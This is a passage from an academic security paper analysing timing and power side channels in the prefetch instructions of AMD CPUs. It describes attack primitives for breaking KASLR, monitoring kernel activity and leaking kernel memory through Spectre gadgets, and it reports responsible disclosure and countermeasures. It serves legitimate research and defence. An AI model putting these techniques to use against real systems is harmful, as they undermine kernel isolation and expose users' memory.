fers from the same type of side-channel leakage. We discover
timing and power variations of the prefetch instruction that
can be observed from unprivileged user space. In contrast to
previous work on prefetch attacks on Intel, we show that the
prefetch instruction on AMD leaks even more information.
We demonstrate the significance of this side channel with
multiple case studies in real-world scenarios. We demonstrate
the first microarchitectural break of (fine-grained) KASLR
on AMD CPUs. We monitor kernel activity, e.g., if audio is
played over Bluetooth, and establish a covert channel. Finally,
we even leak kernel memory with 52.85 B/s with simple
Spectre gadgets in the Linux kernel. We show that stronger
page table isolation should be activated on AMD CPUs by
default to mitigate our presented attacks successfully.

1 Introduction

Many performance optimizations in modern CPUs rely on
predicting the control and data flow of applications. Thus,
a CPU contains many microarchitectural elements for pre-
diction, such as branch predictors or hardware prefetchers.
Still, it can help if a developer or compiler provides the CPU
with additional hints on data that will likely be accessed or
modified next, e.g., the family of prefetch instructions on
x86. The CPU can either ignore the hint or load the requested
virtual address and potentially subsequent addresses into the
cache level specified by the used prefetch instruction.

The prefetch instructions have the interesting property that
they cannot cause an exception. When providing an invalid

virtual address, the instruction is simply ignored. This is true
for virtual addresses that are not backed by physical addresses,
non-canonical addresses, and inaccessible addresses, such as
kernel addresses. Hence, this instruction can be used without
sanity checks, e.g., to prefetch the next pointer of a linked list,
even if the next pointer is not valid [2–4].

The prefetch instructions have been investigated on Intel
CPUs for side-channel leakage. Gruss et al. [25] showed that
the prefetch instructions leak information about the paging
hierarchy of a virtual address, i.e., on which page table level
a page table walk is aborted. As a mitigation against prefetch
side channels, Gruss et al. [24] suggested stronger kernel isola-
tion, which was adopted against Meltdown [42] and is widely
deployed on systems with Intel CPUs [18]. Canella et al. [12]
showed that this attack can also be mitigated by mapping
all pages in the kernel with dummy pages, ensuring that
the page table walk always ends at the same level. Further,
Gruss et al. [25] showed that in rare cases, the prefetch instruc-
tions are not ignored for inaccessible addresses, leading to the
caching of kernel data. However, Schwarzl et al. [60] showed
that this was wrongly attributed to the prefetch instructions
and is mitigated by the existing Spectre mitigations [6, 31].

In this paper, we show that there is indeed side-channel
leakage caused by the prefetch instructions on AMD. We
observe that the timing of the prefetch instructions on kernel
addresses depends on which page table level the page table
walk aborts, similarly to the effect on Intel but with an in-
verse timing distribution. Beyond the leakage described by
Gruss et al. [25], we can also infer the TLB state of these
addresses from the timing. Based on the TLB state, we can
mount microarchitectural attacks that previously were only
possible on Intel CPUs, such as the attacks demonstrated by
Gras et al. [22] with TLBleed, Schwarz et al. [54] with Store-
to-Leak forwarding, and Canella et al. [11] with Fallout.

Specifically, we show the first full microarchitectural
KASLR (kernel address space layout randomization) break on
AMD that works on all major operating systems. We demon-
strate the KASLR break on laptops, desktop PCs, and from
within virtual machines on the Amazon EC2 cloud. Further-
more, we demonstrate the first break of fine-grained KASLR
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(FGKASLR) active on the Linux kernel. With a runtime of
0.15 s and a reliability of 100 %, this KASLR break is on par
with state-of-the-art microarchitectural KASLR breaks for
Intel CPUs [12, 25, 29, 35, 54]. Additionally, we demonstrate
that the side-channel leakage of the prefetch instructions al-
lows spying on kernel activity. As the timing of the prefetch
instructions does not only rely on the page-table level but
additionally on the TLB state, our attack leaks whether the
kernel currently uses a targeted kernel page. Using Spectre
gadgets, we show that this side channel can leak data from
the kernel with up to 58.98 B/s without shared memory and
active supervisor mode access prevention (SMAP). Thus, this
prefetch leakage is an alternative covert channel to mount
Spectre attacks [38] without relying on the cache.

Furthermore, we show that the side-channel leakage is not
limited to timing differences but can also be exploited through
power consumption. Since the Zen (family 17H) microarchi-
tecture, AMD CPUs provide a Running Average Power Limit
(RAPL) interface [7]. The recently released Linux 5.8 kernel
includes the amd_energy driver [14] providing unprivileged
access to per-core energy measurements. Consequently, with
this kernel version, AMD CPUs are vulnerable to power side-
channel attacks from user space as an alternative to timing-
based attacks.

Thus, this paper shows that AMD CPUs are not immune
to attacks on the isolation boundary between user and ker-
nel space. Hence, stronger kernel isolation [24] is not only
useful for Meltdown-affected Intel CPUs but also for AMD
CPUs, as it protects against a range of attacks with acceptable
overhead [23].

Contributions. The main contributions of this work are:
1. We analyze the side-channel leakage of prefetch instruc-

tions on AMD CPUs.
2. We present the first full microarchitectural KASLR break,

including fine-grained KASLR, on AMD CPUs.
3. We show that we can not only spy on kernel activity but

also leak kernel memory using a Spectre-type attack.
4. We demonstrate the first software-based power side-

channel attack on AMD CPUs.
5. We evaluate the effectiveness of existing countermeasures

against these attacks.

Responsible Disclosure We responsibly disclosed parts of
our findings to AMD on June 16th, 2020, and the remain-
ing parts on November 24th, 2020. AMD acknowledged our
findings and provided feedback on February 16th, 2021.

Outline. The paper is organized as follows. In Section 2, we
provide the necessary background. In Section 3, we analyze
the side channel and present the exploitation primitives. Sec-
tion 4 presents case studies to demonstrate the leakage in
real-world scenarios. Section 5 discusses countermeasures
preventing exploitation. In Section 6, we discuss implications
of our attacks and related work. We conclude in Section 7.

2 Background

In this section, we provide background on virtual memory,
prefetching, address space layout randomization, and RAPL.

2.1 Virtual Memory

To achieve memory isolation, modern processors support vir-
tual memory as an abstraction layer to the system’s physical
memory. For this purpose, the memory is organized in so-
called pages. For each process, the operating system maps
virtual pages to physical pages, creating a virtual address
space. By using multi-level page translation tables, the pro-
cessor resolves virtual addresses to physical addresses. The
root of the translation tables of a process is in a dedicated pro-
cessor register, e.g., the CR3 register on x86-64 architectures.
On a context switch, the operating system switches to the
address space of the next process by updating this register. In
addition to the physical address, translation tables also store
page properties, e.g., whether it can be accessed, written to,
executed, or accessed from user space.

On modern Intel and AMD processors, these translation
tables have 4 levels. However, with Intel’s recent Ice Lake
microarchitecture, support for 5-level paging has been intro-
duced. Each paging structure is 4 kB in size and comprises
512 entries of each 8 B. Thus, with 4 levels, bits 0 to 47 of the
virtual address are used; with 5 levels, bits 0 to 56 are used
to index the different page table levels. With 5-level paging,
the top-most level is the page map level 5 (PML5). It divides
the 57-bit address space into 512 entries. Each PML5E entry
maps to a page map level 4 (PML4). With 4-level paging, the
PML4 is the top-most level. The PML4 contains 512 entries,
each mapping to a page directory pointer table (PDPT). Each
PDPT entry defines a 1 GB region of physical memory (a
1 GB page) or maps to a page directory (PD). Each PD entry
either maps a 2 MB region of physical memory (a 2 MB page)
or maps to a page table (PT). Each PT entry then maps a 4 kB
page of physical memory.

Translation-Lookaside Buffer (TLB). The CPU resolves
virtual addresses to physical addresses by walking the page
tables, which are stored in physical memory. To speed up
the translation, the processor uses special caches called
translation-lookaside buffers (TLB) to cache page-table en-
tries. The TLB is then queried for the entry of a virtual address,
and only if the translation has not been cached before, the
CPU is required to walk the page-table entries.

AMD Zen CPUs have a dedicated multi-level TLB for the
instruction and data cache [4]. While the L1 TLB can store
entries for all page sizes, the L2 TLB can store entries for
4 kB and 2 MB pages, and additionally, page-directory entries
(PDEs) for faster page walks [4]. In contrast to AMD, Intel
has a shared L2 TLB [32].
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On Intel processors, in addition to TLBs, so-called page-
translation caches (or paging-structure caches) [33] are used
to buffer the translated linear addresses and property bits of
the paging tables. On a TLB lookup, the paging-structure
caches are queried to speed up the translation process. Van
Schaik et al. [63] reverse-engineered the internal architecture,
size, and behavior of these caches.

2.2 Prefetch
To speed up access to frequently used memory locations, the
CPU uses multiple levels of caches to store data and instruc-
tions. Furthermore, CPUs use different hardware prefetchers
that preload instructions and data into the cache based on the
behavior of the running program. For instance, the adjacent
cache-line prefetcher caches data that is adjacent to the data
currently being loaded [28]. Developers and compilers can
also use instructions to hint the CPU to prefetch specific ad-
dresses to a cache specified by a locality hint [3, §3.9.6.1].
With prefetcht0, data should be prefetched to all cache lev-
els while prefetcht1 should prefetch into level 2 and higher,
and prefetcht2 should prefetch to level 3 cache and higher.
A non-temporal prefetch hint (prefetchnta) should prefetch
data into a non-temporal cache structure close to the CPU.
On AMD CPUs, such cache lines are marked for quick evic-
tion [4] as they are likely used only once.

Software prefetches are an important way to improve the
performance of an application and are sometimes automat-
ically inserted by the compiler, e.g., for loops. It must be
noted that prefetch instructions can, by definition, not raise
any exception (besides an undefined instruction exception if
the LOCK prefix is used). Hence, even when executed with in-
valid virtual addresses as an argument, e.g., non-present, non-
canonical, and inaccessible addresses like kernel addresses,
prefetch instructions do not raise an exception. Thus, it can
be safely used within a loop iteration even if the next address
used is invalid, e.g., a null pointer. Gruss et al. [25] showed
that prefetch instructions leak information on Intel CPUs
about the paging hierarchy, i.e., on which page-table level
a page-table walk is aborted. Their further observation that
inaccessible virtual addresses are prefetched into the cache
has been invalidated by Schwarzl et al. [60] and shown that
the actual cause is speculative execution in the kernel.

2.3 Address-Space Layout Randomization
Address-space layout randomization (ASLR) is a lightweight
defense against memory corruption bugs. Kernel ASLR
(KASLR) applies ASLR in the kernel, randomizing the loca-
tions of kernel code, data, and drivers on every boot, to impede
exploitation of kernel bugs. However, various side-channel
attacks have been demonstrated in the past that either reduce
the entropy of KASLR or break it entirely. Hund et al. [29]
presented the double page-fault attack, measuring the execu-

tion time of the kernel page-fault handler. If a kernel address
is accessed, the translation entries are copied into the TLB,
although the kernel address is user inaccessible. The attacker
measures the execution time of a second page fault to the
same address, which is faster if the memory location is valid
as the translation is cached in the TLB. Jang et al. [35] ex-
ploited the same effect by utilizing Intel TSX transactions. If
a page fault occurs within a transaction, it is aborted without
any operating system interaction. This allows an attacker to
learn which kernel memory locations are valid.

Gruss et al. [25] exploit the software prefetch instruction
that leaks information on the paging hierarchy of a virtual
address. By observing the instruction’s execution time, the
attacker learns not only whether an inaccessible address is
valid but also the corresponding page size.

Lipp et al. [40] exploited AMD’s L1D cache way predic-
tor to reduce the entropy of KASLR of the Linux kernel.
Canella et al. [12] exploited the behavior of hardware mitiga-
tions against Meltdown [42] to break KASLR. Koschel et al.
[39] exploited tagged TLBs to break KASLR even in the face
of state-of-the-art mitigations. Gras et al. [21] exploited that
page-table pages are stored in the last-level cache to break
code and heap ASLR from JavaScript.

2.4 RAPL
With the Sandy Bridge microarchitecture, Intel introduced
the Intel Running Average Power Limit (RAPL) mechanism
to ensure the processor remains within desired thermal and
power constraints [20]. To implement the software-level con-
trol logic to adjust the CPU frequency while ensuring the
power limits, it is necessary to provide feedback on the current
energy consumption to software. The hardware implementa-
tion here may use voltage regulator current monitoring [20]
or estimate the energy consumption in the core itself, e.g., in
Sandy Bridge and Ivy Bridge microarchitectures. Intel defines
different domains for RAPL, i.e., package, power planes, and
DRAM, and, thus, provides the energy consumption for the
entire CPU package. On Linux, the power capping framework
powercap exposes the Intel RAPL model-specific registers
(MSRs) to unprivileged user-space access via sysfs.

Since the Zen microarchitecture, AMD also provides an
interface that is partially compatible with Intel RAPL [7].
In contrast, AMD’s implementation provides per-core coun-
ters. With Linux kernel 5.8, this interface also gives access
to unprivileged user-space applications via the procfs inter-
face [14]. However, a more recent patch limits the availability
of the interface to Rome CPUs as other microarchitectures
apparently report unreliable measurements [49].

3 AMD Prefetch Side Channel

In this section, we show how the prefetch instructions on
AMD leak side-channel information via timing and power
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Table 1: CPU type, model, and microarchitecture for each
AMD device under test.

Type CPU Microcode µ-arch

Mobile Ryzen 5 2500U 0x810100b Zen
Desktop Ryzen Threadripper 1920X 0x8001137 Zen
Desktop Ryzen 5 3600 0x8701021 Zen 2
Desktop Ryzen 7 3700X 0x8701021 Zen 2
Desktop A10-7870K 0x6003106 Steamroller
Cloud EPYC 7402P 0x830104d Zen
Cloud EPYC 7571 0x800126c Zen

consumption and compare the leakage to known leakage on
Intel CPUs. We present the three exploitation techniques,
Prefetch+Time, Prefetch+Power, and TLB-Evict+Prefetch
that we use in our case studies (cf. Section 4). All our code
can be found in a GitHub repository.1

Experimental Setup. Throughout this work, we ran our
experiments for the leakage analysis and the presented case
studies (Section 4) on AMD mobile, desktop, and server CPUs
(Table 1). In the mobile setting, we used a Ryzen 5 2500U
CPU, in the server setting, an EPYC 7402P CPU and an
AMD EPYC 7571 running on the Amazon AWS cloud, and
for the desktop setting, we used a Ryzen Threadripper 1920X,
a Ryzen 5 3600, a Ryzen 7 3700X, as well as an A10-7870K
CPU. All tested devices run a recent Ubuntu, CentOS, or
ArchLinux operating system using the default configuration
with Linux kernels ranging from 3.10 to 5.9. We also used an
Intel Core i7-8565U to compare measurements to Intel CPUs.

3.1 Leakage Analysis Primitives
To analyze the leakage of the prefetch instruction regarding
power and time, we require high-resolution timers, perfor-
mance counters, and the RAPL interface. In this section, we
describe the used primitives for the analysis.

Timing. Since the Zen microarchitecture, AMD CPUs have
reduced the update interval of the timestamp counter [40].
While it still provides timings in cycle resolution, the update
interval is reduced to 20-40 cycles, depending on the specific
CPU [40]. Especially with Zen 2, we only measured an update
interval of 36 cycles for AMD Ryzen 7 3700X and AMD
Ryzen 5 3600. While this is sufficient for cache attacks [34,
38, 40], it requires more repetition of the measurements to
exploit the small timing differences of the prefetch instruction.

Hence, if available, we rely on rdpru, a previously unex-
plored CPU instruction introduced with the Zen 2 microarchi-
tecture [3]. This instruction allows reading the APERF and
MPERF MSRs from user space. The MPERF MSR is incre-
mented by the CPU with the P0 frequency, and the APERF

1https://github.com/amdprefetch/amd-prefetch-attacks

MSR is incremented by the actual clock cycles [5]. While the
rdpru instruction can be disabled for unprivileged users by
setting CR4.TSD [3, §3.2.5], it was enabled on all our tested
systems running Ubuntu 20.04 .

To compare the rdpru instruction to rdtsc(p), we evalu-
ated the update frequency, reordering behavior, and register
dependencies. We evaluated the update frequency of rdtsc
and rdpru (APERF and MPERF) on an AMD Ryzen 5 3600
using the technique described by Lipp et al. [40]. The up-
date interval for rdtsc is 36 cycles, the same as the interval
for MPERF read using rdpru. However, when reading APERF
using rdpru, we measure an update interval of 1 cycle. We
also verified that these fast updates are reliable by measuring
a linearly increasing number of nops. While the execution
time measured with rdtsc and rdtscp was always a multiple
of 36, we measured cycle-accurate values with rdpru. Only
rdtscp is documented to force the retirement of older in-
structions [3], measuring time with rdtsc requires additional
serializing instructions. We analyzed the retirement behavior
of rdpru by adding it behind the mispredicted branch in a
Spectre-PHT attack. In case the instruction is serializing, such
as a memory fence, the leakage is mitigated [6]. For rdtsc
and rdpru, the leakage is not mitigated, while for rdtscp, the
leakage is mitigated. From this, we infer that rdpru has the
same reordering behavior as rdtsc. Finally, the register de-
pendencies are the same as for rdtscp, rdpru modifies RAX,
RDX, and RCX. Hence, on Zen 2, we can use rdpru as a drop-in
replacement for rdtsc and also for rdtscp if we add addi-
tional fences. Using rdpru results in a high-resolution timer
with an even higher resolution than the rdtsc instruction on
Intel CPUs. Therefore, we use rdpru in all our experiments
and case studies if available.

Power. Intel CPUs provide the Running Average Power
Limit (RAPL) interface to provide power-management infor-
mation to software. Previous work used this interface to distin-
guish cryptographic keys [44]. Since AMD Family 17h, if bit
14 of CPUID 0x80000007 EDX is set, AMD provides an in-
terface that is partially compatible with Intel RAPL. The inter-
face provides power consumption values for the core domain
and package domains via the MSRs CORE_ENERGY_STAT and
PKG_ENERGY_STAT respectively [5]. Since Linux kernel 5.8,
this interface is available to unprivileged user-space appli-
cations via the sysfs interface. An advantage of AMD’s
implementation compared to Intel’s implementation is that
information is available per core, not only per package. Hence,
this allows measurements with less noise. Linux also provides
an additional interface for power measurement on AMD. With
the Linux kernel 5.6, the k10temp driver shows the currents
and voltages of the CPU core and SoC of Ryzen CPUs and
exposes them via the hwmon interface to unprivileged users.

However, we only use the RAPL interface for our work
and evaluated it regarding its resolution. For the RAPL-
compatible interface accessible via the sysfs interface, we
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Figure 1: The energy consumption over 1 s of four different
types of instructions measured using the RAPL interface.

measure an update interval of 1002.618 µs (σ = 0.146,n =

5000). This is close to the update interval stated by the CPU
in the RAPL_PWR_UNIT MSR, which is 976 µs. The reported
power consumption is in microjoule, with a resolution of
15.3 µJ as reported by the RAPL_PWR_UNIT MSR. The resolu-
tion and update interval is not sufficient to distinguish single
events, e.g., the type of instruction or whether a memory load
is served from the cache or DRAM. However, when events are
repeatable, the resolution and update interval is sufficient to
measure such differences. As an example, Figure 1 shows the
histograms of the power consumption for repeatedly executing
various instructions for 1 s (the exact instruction sequences
can be found in Appendix C).

Performance Counters. To analyze the root cause of the
leakage, we rely on performance counters. As performance
counters are typically only available to privileged users, we
do not rely on performance counters for exploiting the leakage
but only for analyzing the leakage. We mainly rely on perfor-
mance counters directly related to prefetching, TLB events,
as well as µop dispatching. Table 4 (Appendix A) contains an
overview of the used counters.

For comparing the microarchitectural effects with similar
effects on the Intel microarchitecture, we also rely on the
equivalent performance counters on Intel.

3.2 Prefetch Leakage

Based on our analysis primitives, we investigate the infor-
mation leakage of software prefetch instructions. We dis-
cover 2 different properties (P1, P2) that leak through the
prefetch instruction. An unprivileged attacker from user
space can measure these properties. While there are 4
different prefetch instructions (prefetcht0, prefetcht1,
prefetcht2, prefetchnta), they only differ in the targeted
cache level, which is not relevant for our attacks. Further-
more, AMD documents that prefetcht0, prefetcht1, and
prefetcht2 are implemented exactly the same and do not
differ [2]. Hence, for the remainder of the paper, we do not
further distinguish the different instructions. To ensure noise-
free measurements for the analysis, we isolate the cores on
which we measure using the isolcpus command-line op-
tion and fix the CPU frequency using the cpupower utility.
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Figure 2: Execution time in cycles of prefetch including the
measurement standard error (± cycles) on an AMD Ryzen 5
2500U for different number of page-table levels mapped.
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Figure 3: Execution time in cycles of prefetch including
the measurement standard error (± cycles) on an Intel Core
i7-8565U for different number of page-table levels mapped.

All measurements are repeated multiple times to average out
possible outliers.

3.2.1 P1: Page-Table Level

The first property is the information about the level on which
the page-table walk stops. While it has been shown that this
property can be leaked from prefetch instruction on Intel
CPUs [25], it has not been analyzed on AMD CPUs. Surpris-
ingly, although the prefetch instruction does leak information
about the page-table level on AMD CPUs, the behavior is
inverse to that on Intel CPUs.

We measure the execution time of the prefetch instruction
for 4 different virtual addresses. These addresses are chosen
such that the page-table walk ends at different page-table
levels. For every address, we measure how long the fenced
execution of one prefetch instruction to this address takes. To
average out noise, we calculate the average execution timer
over 10 million measurements. Intuitively, the fewer page
tables are mapped for an address, the earlier the page-table
walk aborts. Figure 2 shows the execution time in cycles,
including the standard error, of the prefetch instruction for
these virtual addresses. On AMD, the execution time of the
prefetch instruction is proportional to the number of mapped
page-table levels for the virtual address. On Intel, however,
the execution time is inversely proportional to the number of
mapped page-table levels, as observed by Gruss et al. [25].
We can confirm this, as shown in Figure 3.

The page-table level leakage is measurable both for accessi-
ble addresses, i.e., addresses within the user address space of
the application, and for inaccessible addresses, i.e., kernel ad-
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Table 2: The number of data TLB (dTLB) misses for 1000
prefetches of an inaccessible virtual address.

dTLB misses / 1000 prefetches

Intel 1000 (dtlb_load_misses.miss_causes_a_walk)
AMD Zen 2000 (ls_l1_d_tlb_miss.all)
AMD Zen 2 1 (ls_l1_d_tlb_miss.all)

dresses mapped into the application. However, the leakage for
inaccessible addresses is more interesting. If not mentioned
otherwise, we always exploit the leakage for inaccessible ad-
dresses in the remainder of the paper.

To prefetch an address into the cache, the CPU requires
the physical address of the target. The physical address can
either be retrieved from the TLB if it is cached there, or the
translation requires a page-table walk. As the permission, i.e.,
whether a virtual address is user-accessible, is stored in the
page-table entry (or TLB), a prefetch has to trigger a page-
table walk if the address is not in the TLB.

From the timings (cf. Figure 2), we see how many page-
table levels the page-table walker has to translate. Up to the
page directory, the timing increases linearly with every page-
table level. From the performance counters (cf. Table 2, we
see that AMD Zen seems to trigger 2 page-table walks for
an inaccessible address, whereas Intel only triggers a single
page-table walk. Hence, the timing difference is amplified
by the repeated page-table walks. We assume that this is
an implementation flaw, as this is not the case anymore on
the Zen 2 microarchitecture. On Zen 2, there is only one
TLB miss on the first access, as Zen 2 also stores invalid
translations in the TLB.

On Intel processors, the lookup direction for the TLB and
page translation caches is from logically lower levels (i.e.,
PTEs) to logically higher levels (i.e., PML4Es). The timings
indicate that on Intel, only the lowest missing level is fetched
from memory, whereas all others are served from the page
translation caches [8, 25, 33, 63].

3.2.2 P2: TLB State

In addition to the page-table level, the prefetch instructions
also leak the TLB state, i.e., whether an address is currently
cached in the TLB or not. As shown in Table 3, the software
prefetch has a higher execution time if the address is not
cached in the TLB. This property of the prefetch instructions
is neither officially documented, nor was it measured on Intel
CPU by Gruss et al. [25]. With the TLB state, it is possible to
mount TLB attacks that have only been shown on Intel CPUs
so far [22, 29, 35, 54].

We evaluate the influence on the TLB state for a virtual
address cached in the TLB and for the same virtual ad-
dress flushed from the TLB. We evaluate this leakage on an
AMD Ryzen 5 2500U (Ubuntu 20.04 LTS, kernel 5.4.0-42).

Prefetching an inaccessible virtual address that is cached in
the TLB takes on average 125 cycles (n = 1 000 000). When
invalidating the TLB before prefetching the address, the aver-
age time increases to 156 cycles (n = 1 000 000).

To further investigate the influence of memory types or
properties of the page table entries, e.g., whether the page
can be accessed from user space, we conducted the following
experiment. As illustrated in Table 3, we set up pages with dif-
ferent permission bits set (executable, present, user-space ac-
cessible, dirty, global, accessed) and alternative memory types
(write-back, write-combining, write-through, write-protected,
uncacheable, uncacheable minus). For each microarchitecture,
we measured the execution time of the prefetch instruction on
the prepared page in two scenarios. First, we flushed the TLB
entry using dedicated privileged functionality in the Linux
kernel, measuring a TLB miss. Second, we leave the targeted
page cached in the TLB to measure a TLB-hit by using the
prefetch instruction in the kernel. To overcome measurement
noise, we repeated the measurement 10 000 times.

We can observe timing differences between TLB hits and
misses on all microarchitectures. We want to note that on
the Zen microarchitecture, the access times differ manifold
depending on the set properties. On the Intel microarchitec-
ture, it is possible to differentiate between inaccessible pages
that are present and not present. Furthermore, on the Zen 2
microarchitecture, almost all measurements that should hit
the TLB yield the same execution time. We conclude that Zen
2 caches the translations regardless of the permission bits.

We observed that on AMD, the prefetch instruction sets the
accessed bit in the page table entry. Thus, on a subsequent
access or prefetch, the translation is served from the TLB.
However, Intel CPUs do not seem to modify the accessed bits
using a prefetch instruction, and, hence, the translation will
not be cached in the TLB. Intel caches only translations if the
accessed bits are set in all paging-structure entries [30].

An exception marks the not-accessed page (199 cycles)
and the not-accessed kernel page with a higher timing on Zen
2 (220 cycles). In the case of pages where we unset the access
bit, we omit the prefetch instruction in the kernel to avoid
re-setting the accessed bit. We assume that the page-table
walk caused by the prefetch instruction might require a mi-
crocode assist to set the accessed bit in the page table entry,
as is the case on Intel CPUs [59]. The inaccessible address
later causes a memory fault, treating the instruction itself as
a no-operation (NOP) [47]. However, the microcode assist
has already been dispatched. While AMD does not provide a
dedicated performance counter for microcode assists like In-
tel (other_assists.any), we observed exactly 2 page table
walks on the data side (ls_tablewalker.dside).

Furthermore, we observe a higher timing for page table
entries marked as uncachable or write-combining. While
this case is not documented for AMD, Intel describes that
prefetches to such memory locations are ignored [32]. Since
the prefetch instruction serves as a hint to the processor to
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Table 3: Average prefetch execution time in cycles for pages with different properties on different microarchitectures (cf. Table 1).
For the TLB-hit case in this table, addresses are accessed via a kernel module to ensure that their translation is cached in the TLB.
As Zen 2 caches everything in the TLB, leakage is not visible in this table (cf. Table 2). On AMD, pages need to be accessed
to be in the TLB. Hence, TLB hits cannot be measured for non-accessed pages (N/A). NX = non-executable, P = present, U =
uncachable, D = dirty, G = global, A = accessed.

Permission Bits Memory Type Zen (Ryzen 5 2500U) Zen 2 (Ryzen 5 3600) Intel (i7-8565U)
NX P U D G A TLB-Hit TLB-Miss TLB-Hit TLB-Miss TLB-Hit TLB_Miss

Write-Back 75 (σx̄ = 0.03) 112 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.01) 119 (σx̄ = 0.03)
Write-Back 125 (σx̄ = 0.03) 156 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.04) 119 (σx̄ = 0.01)
Write-Back 149 (σx̄ = 0.04) 149 (σx̄ = 0.04) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 119 (σx̄ = 0.03) 119 (σx̄ = 0.04)
Write-Back 149 (σx̄ = 0.04) 149 (σx̄ = 0.04) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 119 (σx̄ = 0.04) 119 (σx̄ = 0.03)
Write-Back 125 (σx̄ = 0.03) 156 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.01) 119 (σx̄ = 0.04)
Write-Back 125 (σx̄ = 0.03) 156 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.01) 119 (σx̄ = 0.02)
Write-Back 75 (σx̄ = 0.03) 113 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.01) 119 (σx̄ = 0.03)
Write-Back N/A 142 (σx̄ = 0.06) N/A 199 (σx̄ = 0.00) 119 (σx̄ = 0.03) 119 (σx̄ = 0.03)
Write-Back N/A 155 (σx̄ = 0.09) N/A 220 (σx̄ = 0.00) 119 (σx̄ = 0.03) 119 (σx̄ = 0.05)
Write-Back N/A 156 (σx̄ = 0.16) N/A 148 (σx̄ = 0.00) 119 (σx̄ = 0.03) 119 (σx̄ = 0.05)
Write-Combining 83 (σx̄ = 0.06) 113 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.04) 119 (σx̄ = 0.03)
Write-Through 75 (σx̄ = 0.04) 113 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.04) 119 (σx̄ = 0.02)
Write-Protected 75 (σx̄ = 0.04) 113 (σx̄ = 0.05) 87 (σx̄ = 0.00) 148 (σx̄ = 0.00) 90 (σx̄ = 0.01) 119 (σx̄ = 0.04)
Uncacheable 83 (σx̄ = 0.02) 113 (σx̄ = 0.03) 87 (σx̄ = 0.00) 148 (σx̄ = 0.01) 90 (σx̄ = 0.02) 119 (σx̄ = 0.02)
Uncacheable Minus 86 (σx̄ = 0.02) 113 (σx̄ = 0.06) 87 (σx̄ = 0.00) 148 (σx̄ = 0.01) 90 (σx̄ = 0.01) 119 (σx̄ = 0.03)

load data closer to the executing core, speculatively accessing
data, for example, from I/O devices, would break the function-
ality. We also experimentally confirmed that transient loads,
which are similar to the prefetch instruction [2], cannot access
uncached memory, as was also shown on Intel CPUs [57]. In
contrast to the previous experiment, we did not observe an
increased number of retired micro-operations or additional
page table walks.

3.3 Difference to Normal Memory Loads
Software-prefetch instructions are a special kind of memory
load. In contrast to all other operations that load data from
memory, the prefetch instruction does not trigger any excep-
tion when specifying an invalid or inaccessible address. This
behavior is documented explicitly by AMD: “If the operand
specifies an invalid memory address, no exception occurs, and
the instruction has no effect.” [3, §3.9.6.1].

In addition to this well-documented difference, we also
experimentally observe other differences.

Retirement. We observe that in contrast to regular data
loads, loads triggered by the software-prefetch instructions
never stall. Our experiments indicate that prefetch loads are
immediately and ready-to-retire in the re-order buffer. Reg-
ular loads are only marked as complete and ready-to-retire
when the target data is actually returned. On Intel CPUs, it
is documented that prefetch instructions do not stall the nor-
mal instruction retirement [32] and retire after the address
translation is completed [32].

We verified the stalling behavior by measuring the impact
of fences on load instructions. AMD documents the load fence
as “All memory loads preceding the LFENCE (in program
order) are completed prior to completing memory loads fol-
lowing the LFENCE.” [3, §3.9.2]. Hence, the lfence ensures

that any load not marked as completed has to be completed
first. In contrast, the cpuid instruction is fully serializing.

In our experimental setup on an AMD Ryzen 5 3600 (Arch-
Linux, kernel 5.10.39), we first load from an uncached mem-
ory location either via a regular load or a software-prefetch
instruction. We then either add an lfence or a cpuid in-
struction as the subsequent instruction. We measure the exe-
cution time of this code snippet 1 000 000 times and ensure
that no reordering of the measured instructions occurs by
using memory fences (see Figure 12). For the regular load
instruction, we observe that with a fully-serializing cpuid,
we measure an average execution time of 945.71 cycles. For
the prefetch instruction, we measure 842.96 cycles. However,
when using an lfence instead of cpuid, we measure 814.44
cycles for the memory load but only 158.58 cycles for the
prefetch instruction. Hence, we conclude that loads triggered
by software-prefetch instructions are immediately marked as
complete after the address translation and do not stall. In Ap-
pendix B, we evaluate an additional experiment measuring
the execution time of many memory loads and respectively
prefetch instructions that supports this statement. This also
confirms the description by AMD that “[...] a load instruction
may cause a subsequent instruction to stall until the load
completes, but a prefetch instruction will never cause such a
stall.” [3, §3.9.6.1].

Page-Table Walk. For valid, user-accessible data, both reg-
ular loads and prefetches can trigger a page-table walk in
case the virtual address is not cached in the TLB. However,
for prefetches, the TLB is only populated if the page-table
walk does not cause a fault. This is not the case for the Zen
2 microarchitecture, and even invalid translations are cached.
For inaccessible pages, i.e., pages where the user-accessible
bit is cleared, the fault also causes the prefetch instruction to
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be re-issued, which is not the case for regular loads. Table 2
shows the number of data TLB misses when prefetching such
an inaccessible address.

3.4 Exploitation
In this section, we define two exploitation techniques based
on the leakage analysis primitives described in Section 3.1
and the properties that leak through the prefetch instruction,
as shown in Section 3.2.

3.4.1 Prefetch+Time

Prefetch+Time directly exploits the execution time of the
software prefetch instruction. This primitive is similar to
the prefetch attacks known on Intel CPUs [25]. With
Prefetch+Time, it is possible to directly leak the page-table
level (P1), as we show in the KASLR case study in Sec-
tion 4.1. On the Zen architecture, it is furthermore possible to
infer the TLB state (P2) with this primitive.

The execution time of the prefetch instruction depends on
the page-table level (P1) at which the page-table walk stops
and the TLB state (P2) in case the page is present. However,
only the page-table level (P1) can be measured by timing a
single prefetch instruction. For the other effects, the resolution
of the high-resolution timer on AMD is in a similar range
as the measured timing differences. Measuring these effects
requires the measurement over multiple prefetch instructions.

In the case that prefetching the target does not change the
state of the target, e.g., prefetching a non-present address, it
is simply possible to measure the time it takes to execute n
prefetch instructions to the same page. Alternatively, if the
monitored address range spans multiple pages, Prefetch+Time
can measure the cumulative execution time of prefetching
each page, similar to Multi-Prime+Probe [58]. In other cases,
where the TLB state is updated on a prefetch, e.g., when
prefetching a kernel page on Zen 2, we have to resort to TLB-
Evict+Prefetch (cf. Section 3.4.3).

